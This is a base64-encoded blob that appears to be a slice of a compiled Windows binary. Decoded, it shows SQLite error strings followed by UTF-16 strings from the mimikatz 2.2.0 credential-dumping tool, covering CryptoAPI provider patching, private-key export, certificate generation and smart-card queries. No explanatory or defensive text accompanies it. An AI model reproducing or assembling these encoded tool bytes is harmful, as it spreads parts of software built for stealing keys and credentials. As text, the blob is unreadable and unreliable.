SB0byB1c2UgZnVuY3Rpb24gJXMgaW4gdGhlIHJlcXVlc3RlZCBjb250ZXh0AAB1bmtub3duIGRhdGFiYXNlOiAlcwAAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSBjb2xsYXRpb24gc2VxdWVuY2UgZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAGxvY2FsaG9zdAAAAGludmFsaWQgdXJpIGF1dGhvcml0eTogJS4qcwBjYWNoZQAAAHNoYXJlZAAAcHJpdmF0ZQBybwAAcncAAHJ3YwBhY2Nlc3MAAG5vIHN1Y2ggJXMgbW9kZTogJXMAJXMgbW9kZSBub3QgYWxsb3dlZDogJXMAbm8gc3VjaCB2ZnM6ICVzAE5PQ0FTRQAAUlRSSU0AAAAAAAAAJXMgYXQgbGluZSAlZCBvZiBbJS4xMHNdAAAAAGRhdGFiYXNlIGNvcnJ1cHRpb24AbWlzdXNlAABjYW5ub3Qgb3BlbiBmaWxlAAAAAG5vIHN1Y2ggdGFibGUgY29sdW1uOiAlcy4lcwBTUUxJVEVfADIwMTktMTAtMTAgMjA6MTk6NDUgMThkYjAzMmQwNThmMTQzNmNlM2RlYTg0MDgxZjRlZTVhMGYyMjU5YWQ5NzMwMWQ0M2M0MjZiYzdmM2RmMWIwYgAAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADIALgAwACAAKAB4ADgANgApACAAIwAxADkAMAA0ADEAIABOAG8AdgAgADIAMAAgADIAMAAyADEAIAAwADgAOgAyADgAOgA1ADMACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAiAEEAIABMAGEAIABWAGkAZQAsACAAQQAgAEwAJwBBAG0AbwB1AHIAIgAgAC0AIAAoAG8AZQAuAGUAbwApAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACoAKgAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgACAAIAAgACAAPgAgAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6AAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIAAgACAAIAAgAFYAaQBuAGMAZQBuAHQAIABMAEUAIABUAE8AVQBYACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAAgAHYAaQBuAGMAZQBuAHQALgBsAGUAdABvAHUAeABAAGcAbQBhAGkAbAAuAGMAbwBtACAAKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAA+ACAAaAB0AHQAcABzADoALwAvAHAAaQBuAGcAYwBhAHMAdABsAGUALgBjAG8AbQAgAC8AIABoAHQAdABwAHMAOgAvAC8AbQB5AHMAbQBhAHIAdABsAG8AZwBvAG4ALgBjAG8AbQAgACoAKgAqAC8ACgAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGkAbgBpAHQATwByAEMAbABlAGEAbgAgADsAIABDAG8ASQBuAGkAdABpAGEAbABpAHoAZQBFAHgAOgAgACUAMAA4AHgACgAAAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAG5jcnlwdC5kbGwAAGJjcnlwdC5kbGwAAAoAQQBsAGcAaQBkACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQB4ACkACgAAAEsAZQB5ACAAKAAlADMAdQApACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHQAcgBhAGMAdABvAHIAXwBjAGEAcABpADMAMgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAHIAbwBtACAAQAAgACUAcAAAAE0AbwBkAGUAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAeAApAAoAAAAAAEkAVgAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAAAAAUAByAGkAdgBLAGUAeQAgACAAIAA6ACAAAAAAAAAAAAAKACEAIQAhACAAcABhAHIAdABzACAAYQBmAHQAZQByACAAcAB1AGIAbABpAGMAIABlAHgAcABvAG4AZQBuAHQAIABhAHIAZQAgAHAAcgBvAGMAZQBzAHMAIABlAG4AYwByAHkAcAB0AGUAZAAgACEAIQAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHQAcgBhAGMAdABvAHIAXwBiAGMAcgB5AHAAdAAzADIAXwBiAG4AIAA7ACAAVQBuAGsAbgBvAHcAbgAgAHQAYQBnADoAIAAlADAAOAB4AAoAAAAAACUAcwA6ACAAAAAAAAoAQQBsAGcASQBkACAAIAAgACAAIAA6ACAAAAAlAHMAIAAoADAAeAAlAHgAKQAKAAAAAABQAHUAYgBFAHgAcAAgACAAIAAgAAAAAABNAG8AZAB1AGwAdQBzACAAIAAgAAAAAABQAHIAaQBtAGUAMQAgACAAIAAgAAAAAABQAHIAaQBtAGUAMgAgACAAIAAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHQAcgBhAGMAdABvAHIAXwBiAGMAcgB5AHAAdAAzADIAIAA7ACAAVABhAGcAIAAlAC4ANABTACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeAB0AHIAYQBjAHQAbwByAF8AYgBjAHIAeQBwAHQAMwAyACAAOwAgAFUAbgBzAHUAcABwAG8AcgB0AGUAZAAgAGkAbgB0AGUAcgBmAGEAYwBlACwAYQBsAGcAIAAoADAAeAAlAHgAKQAKAAAAAAAKACUAdwBaACAAKAAlAHUAKQAKAAAAAABDUEdlbktleQAAAABDUERlcml2ZUtleQBDUERlc3Ryb3lLZXkAAAAAQ1BTZXRLZXlQYXJhbQAAAENQR2V0S2V5UGFyYW0AAABDUEV4cG9ydEtleQBDUEltcG9ydEtleQBDUEVuY3J5cHQAAABDUERlY3J5cHQAAABDUER1cGxpY2F0ZUtleQAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAAYgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAYgBjAHIAeQBwAHQAcAByAGkAbQBpAHQAaQB2AGUAcwAuAGQAbABsAAAAAAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABSAFMAQQAgAEMAUwBQACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACgAUgBTAEEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAKABSAFMAQQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAcwBzAGUAbgBoAC4AZABsAGwAAAAAAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAEQAUwBTACAAQwBTAFAAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAKABEAFMAUwApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAbgBnACAAOwAgAE4AbwAgAEMATgBHAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAXwBxAHUAaQBjAGsARQBuAGMAbwBkAGUAIAA7ACAAQwByAHkAcAB0AEUAbgBjAG8AZABlAE8AYgBqAGUAYwB0ACAAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoAF8AcQB1AGkAYwBrAEUAbgBjAG8AZABlACAAOwAgAEMAcgB5AHAAdABFAG4AYwBvAGQAZQBPAGIAagBlAGMAdAAgACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAADEuMy42LjEuNC4xLjMxMS4yMC4yLjMAADIuNS4yOS4xNwAAADIuNS4yOS4xNQAAADIuNS4yOS4zNwAAADIuNS4yOS4xNAAAADIuNS4yOS4zNQAAADIuNS4yOS4zMQAAADIuNS4yOS4xOQAAAAAAAABFAFIAUgBPAFIAIABnAGUAdABQAHUAYgBsAGkAYwBLAGUAeQBJAG4AZgBvACAAOwAgAEMAcgB5AHAAdABFAHgAcABvAHIAdABQAHUAYgBsAGkAYwBLAGUAeQBJAG4AZgBvACAAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAZwBlAHQAUAB1AGIAbABpAGMASwBlAHkASQBuAGYAbwAgADsAIABDAHIAeQBwAHQARQB4AHAAbwByAHQAUAB1AGIAbABpAGMASwBlAHkASQBuAGYAbwAgACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAG0AYQBrAGUAUABpAG4AIAA7ACAAQwByAHkAcAB0AFMAZQB0AFAAcgBvAHYAUABhAHIAYQBtACgAUABQAF8ASwBFAFkARQBYAEMASABBAE4ARwBFAF8AUABJAE4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAbQBhAGsAZQBQAGkAbgAgADsAIABDAHIAeQBwAHQAUwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AKABQAFAAXwBTAEkARwBOAEEAVABVAFIARQBfAFAASQBOACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABtAGEAawBlAFMATgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHUAcwBlACAAJwAlAHMAJwAgAGEAcwAgAGEAIABIAEUAWAAgAHMAdAByAGkAbgBnAAoAAAAAAEUAUgBSAE8AUgAgAGcAZQB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBBAG4AZABFAG4AYwBvAGQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGQAYQB0AGEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBBAG4AZABFAG4AYwBvAGQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGkAbgBpAHQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGMAbABvAHMAZQBIAHAAcgBvAHYAIAA7ACAAQwBOAEcAIABrAGUAeQAgAHcAaQB0AGgAbwB1AHQAIABmAHUAbgBjAHQAaQBvAG4AcwA/AAoAAAAAACAAWwBpAC4AawBlAHkAIABdACAAcAByAG8AdgBpAGQAZQByACAAOgAgACUAcwAKACAAWwBpAC4AawBlAHkAIABdACAAYwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAHQARgByAG8AbQBTAGkAZwBuAGUAcgAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAoAHMAaQBnAG4AZQByACkAIAAoADAAeAAlADAAOAB4ACkACgAAADEuMi44NDAuMTEzNTQ5LjEuMS41AAAAACAALQA+ACAAAAAAACAAWwBpAC4AYwBlAHIAdABdACAAcwB1AGIAagBlAGMAdAAgACAAOgAgACUAcwAKAAAAAABPAEsACgAAADIuNS40LjMAMi41LjQuMTEAAAAAMi41LjQuMTAAAAAAMi41LjQuNgBbAHMALgBjAGUAcgB0AF0AIABzAHUAYgBqAGUAYwB0ACAAIAAgADoAIAAlAHMACgAAAAAAWwBzAC4AYwBlAHIAdABdACAAcwBlAHIAaQBhAGwAIAAgACAAIAA6ACAAAABbAHMALgBjAGUAcgB0AF0AIABhAGwAZwBvAHIAaQB0AGgAbQAgADoAIAAlAFMAAAAKAFsAcwAuAGMAZQByAHQAXQAgAHYAYQBsAGkAZABpAHQAeQAgACAAOgAgAAAAAABbAHMALgBrAGUAeQAgAF0AIABwAHIAbwB2AGkAZABlAHIAIAAgADoAIAAlAHMACgAAAAAAWwBzAC4AawBlAHkAIABdACAAYwBvAG4AdABhAGkAbgBlAHIAIAA6ACAAJQBzAAoAAAAAAFsAcwAuAGsAZQB5ACAAXQAgAGcAZQBuACAAKAAlADQAaAB1ACkAOgAgAAAAWwBzAC4AYwBlAHIAdABdACAAcwBpAGcAbgBhAHQAdQByAGUAIAA6ACAAAABbAHMALgBrAGUAeQAgAF0AIABjAGUAcgB0AC4AYQBzAHMAbwBjADoAIAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBhAHQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAA7ACAAQwByAHkAcAB0AFMAZQB0AEsAZQB5AFAAYQByAGEAbQAoAEsAUABfAEMARQBSAFQASQBGAEkAQwBBAFQARQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBhAHQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAFMASwBJAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGEAdABlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgADsAIABDAHIAeQBwAHQARwBlAG4ASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAYQB0AGUAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAKABDAFIAWQBQAFQAXwBOAEUAVwBLAEUAWQBTAEUAVAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBhAHQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABnAGUAbgBlAHIAYQB0AGUAIABhACAAYwBvAG4AdABhAGkAbgBlAHIAIABuAGEAbQBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAYQB0AGUAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIABCAEMAMgAKAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBhAHQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAEsAVQAKAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGEAdABlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAUwBOAAoAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAYQB0AGUAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIABTAHUAYgBqAGUAYwB0AAoAAAAxLjIuODQwLjExMzU0OS4xLjEuMTEAAABoAHcAAAAAAGMAcwBwAAAAcABpAG4AAABuAG8AcwB0AG8AcgBlAAAATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQAAAGMAYQBzAHQAbwByAGUAAABzAGgAYQAxAAAAAAAxLjMuMTQuMy4yLjI5AAAAawBlAHkAcwBpAHoAZQAAAGMAYQBuAGEAbQBlAAAAAABjAGEAaABhAHMAaAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIAAvAGMAYQBoAGEAcwBoACAAbgBlAGUAZABzACAAYQAgAFMASABBADEAIABpAG4AIABoAGUAeAAgACgANAAwAGMAaABhAHIAcwAgAGYAbwByACAAMgAwAGIAeQB0AGUAcwApAAoAAAAAAHUAcABuAAAAYwBuAAAAAABvAAAAbwB1AAAAAABGAFIAAAAAAGMAAABDAEEAIABzAHQAbwByAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAE0AeQAAAAAAQwBBACAAaABhAHMAaAAgACgAcwBoAGEAMQApACAAOgAgAAAAQwBBACAAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAxLjMuNi4xLjUuNS43LjMuMgAAADEuMy42LjEuNC4xLjMxMS4yMC4yLjIAAGMAcgBsAGQAcAAAAHAAZgB4AAAATwBLAAAAAABLAE8AAAAAAFAAcgBpAHYAYQB0AGUAIABFAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAJQBzAAoAAABQAHIAaQB2AGEAdABlACAAUwB0AG8AcgBlACAAIAA6ACAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIALwBNAHkAIAAtACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABnAGUAbgBlAHIAYQB0AGUAIABTAEEATgAgAGUAeAB0AGUAbgBzAGkAbwBuACAALQAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaABfAEUAeAB0AF8AQQBsAHQAVQBQAE4AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQBuAGUAcgBhAHQAZQAgAEUASwBVACAAZQB4AHQAZQBuAHMAaQBvAG4AIAAtACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoAF8ARQB4AHQAXwBFAEsAVQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAZQByAHQARgBpAG4AZABDAGUAcgB0AGkAZgBpAGMAYQB0AGUASQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIAAvAHUAcABuADoAdQBzAGUAcgBAAGQAbwBtAGEAaQBuAC4AbABvAGMAYQBsACAAbgBlAGUAZABlAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAC8AYwBhAG4AYQBtAGUAOgBDAEEALQBLAEkAVwBJACAAbwByACAALwBjAGEAaABhAHMAaAA6AFMASABBADEAIABuAGUAZQBkAGUAZAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwB2AHQAeQBwAGUAZgByAG8AbQBuAGEAbQBlACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAIAAgACAAXAAgACUAMAAyAHgAIAAtACAAAABMAEMARAAgAEwAYQB5AG8AdQB0ADoAIAAlAGgAaAB1AHgAJQBoAGgAdQAKAAAAAABFAG4AdAByAHkAIABWAGEAbABpAGQAYQB0AGkAbwBuACAAQwBvAG4AZABpAHQAaQBvAG4AOgAgADAAeAAlADAAMgB4AAoAAABUAGkAbQBlAE8AdQB0ADIAOgAgACUAaABoAHUACgAAAEwAQwBEACAATQBhAHgAIABDAGgAYQByAGEAYwB0AGUAcgBzADoAIAAlAGgAdQAKAAAAAABMAEMARAAgAE0AYQB4ACAATABpAG4AZQBzADoAIAAlAGgAdQAKAAAATQBpAG4AIABQAGkAbgAgAFMAaQB6AGUAOgAgACUAaABoAHUACgAAAE0AYQB4ACAAUABpAG4AIABTAGkAegBlADoAIAAlAGgAaAB1AAoAAABGAGkAcgBtAHcAYQByAGUASQBEADoAIAAlAC4AKgBTAAoAAABZAEUAUwAAAE4ATwAAAAAAUABQAEQAVQAgAFMAdQBwAHAAbwByAHQAOgAgACUAcwAAAAAAAAAAACAALQAgAFMAQwBhAHIAZABDAG8AbgB0AHIAbwBsACgARgBFAEEAVABVAFIARQBfAEMAQwBJAEQAXwBFAFMAQwBfAEMATwBNAE0AQQBOAEQAKQAAACAALQAgAFMAQwBhAHIAZABUAHIAYQBuAHMAbQBpAHQAAAAAAE0AYQB4ACAAQQBQAEQAVQAgAEQAYQB0AGEAIABTAGkAegBlADoAIAAlAHUAIAAtACAAMAB4ACUAeAAKAAAAAABVAFMAQgAgAFYAZQBuAGQAbwByAEkARAAgADoAIAAlADAANAB4AAoAAAAAAFUAUwBCACAAUAByAG8AZAB1AGMAdABJAEQAOgAgACUAMAA0AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwBwAF8AdABsAHYAXwBmAGUAYQB0AHUAcgBlAHMAIAA7ACAAUwBDAGEAcgBkAEMAbwBuAHQAcgBvAGwAKAAhAEYARQBBAFQAVQBSAEUAXwBHAEUAVABfAFQATABWAF8AUABSAE8AUABFAFIAVABJAEUAUwAhACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAT01OSUtFWQBFAFgARQBDAFUAVABFAF8AUABBAEMARQAAAAAAVgBFAFIASQBGAFkAXwBQAEkATgBfAFMAVABBAFIAVAAAAAAAVgBFAFIASQBGAFkAXwBQAEkATgBfAEYASQBOAEkAUwBIAAAATQBPAEQASQBGAFkAXwBQAEkATgBfAFMAVABBAFIAVAAAAAAATQBPAEQASQBGAFkAXwBQAEkATgBfAEYASQBOAEkAUwBIAAAARwBFAFQAXwBLAEUAWQBfAFAAUgBFAFMAUwBFAEQAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8ARABJAFIARQBDAFQAAABNAE8ARABJAEYAWQBfAFAASQBOAF8ARABJAFIARQBDAFQAAABNAEMAVABfAFIARQBBAEQARQBSAF8ARABJAFIARQBDAFQAAABNAEMAVABfAFUATgBJAFYARQBSAFMAQQBMAAAASQBGAEQAXwBQAEkATgBfAFAAUgBPAFAAAAAAAEEAQgBPAFIAVAAAAFMARQBUAF8AUwBQAEUAXwBNAEUAUwBTAEEARwBFAAAAVgBFAFIASQBGAFkAXwBQAEkATgBfAEQASQBSAEUAQwBUAF8AQQBQAFAAXwBJAEQAAAAAAE0ATwBEAEkARgBZAF8AUABJAE4AXwBEAEkAUgBFAEMAVABfAEEAUABQAF8ASQBEAAAAAABXAFIASQBUAEUAXwBEAEkAUwBQAEwAQQBZAAAARwBFAFQAXwBLAEUAWQAAAEkARgBEAF8ARABJAFMAUABMAEEAWQBfAFAAUgBPAFAARQBSAFQASQBFAFMAAAAAAEcARQBUAF8AVABMAFYAXwBQAFIATwBQAEUAUgBUAEkARQBTAAAAAABDAEMASQBEAF8ARQBTAEMAXwBDAE8ATQBNAEEATgBEAAAAAAAgACAAIAB8ACAAVgBlAG4AZABvAHIAOgAgACUAWgAKAAAAAAAgACAAIAB8ACAATQBvAGQAZQBsACAAOgAgACUAWgAKAAAAAAAgACAAIAB8ACAARgBXACAAdgBlAHIAcwBpAG8AbgAgADoAIAAlAHUALgAlADAAMgB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AcAAgADsAIABTAEMAYQByAGQAQwBvAG4AdAByAG8AbAAoAEMATQBfAEkATwBDAFQATABfAEcARQBUAF8ARgBXAF8AVgBFAFIAUwBJAE8ATgApADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAACAAIAAgAHwAIABMAGkAYgAgAHYAZQByAHMAaQBvAG4AOgAgACUAdQAuACUAMAAyAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwBwACAAOwAgAFMAQwBhAHIAZABDAG8AbgB0AHIAbwBsACgAQwBNAF8ASQBPAEMAVABMAF8ARwBFAFQAXwBMAEkAQgBfAFYARQBSAFMASQBPAE4AKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAACAAIAAgAHwAIABGAGUAYQB0AHUAcgBlAHMAOgAKAAAAIAAgACAAXAAgAAAAJQAwADIAeAAgAC0AIAAlAHMAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwBfAHAAcgBvAHAAIAA7ACAATABlAG4AZwB0AGgAIAAoACUAaABoAHUAKQAgACEAPQAgAHMAaQB6AGUAbwBmACgARABXAE8AUgBEACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AcAAgADsAIABTAEMAYQByAGQAQwBvAG4AbgBlAGMAdAA6ACAAMAB4ACUAMAA4AHgACgAAAFMAQwBhAHIAZAAkAEEAbABsAFIAZQBhAGQAZQByAHMAAAAAAFMAbQBhAHIAdABDAGEAcgBkACAAcgBlAGEAZABlAHIAcwA6AAAAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAQQBUAFIAIAAgADoAIAAAAAAAIAAgACAATQBvAGQAZQBsADoAIAAlAHMACgAAACAAIAAgAFAAUgBJAE0AIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQARwBlAHQAQwBhAHIAZABUAHkAcABlAFAAcgBvAHYAaQBkAGUAcgBOAGEAbQBlACgAUABSAEkATQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAgACAAIABDAFMAUAAgACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8A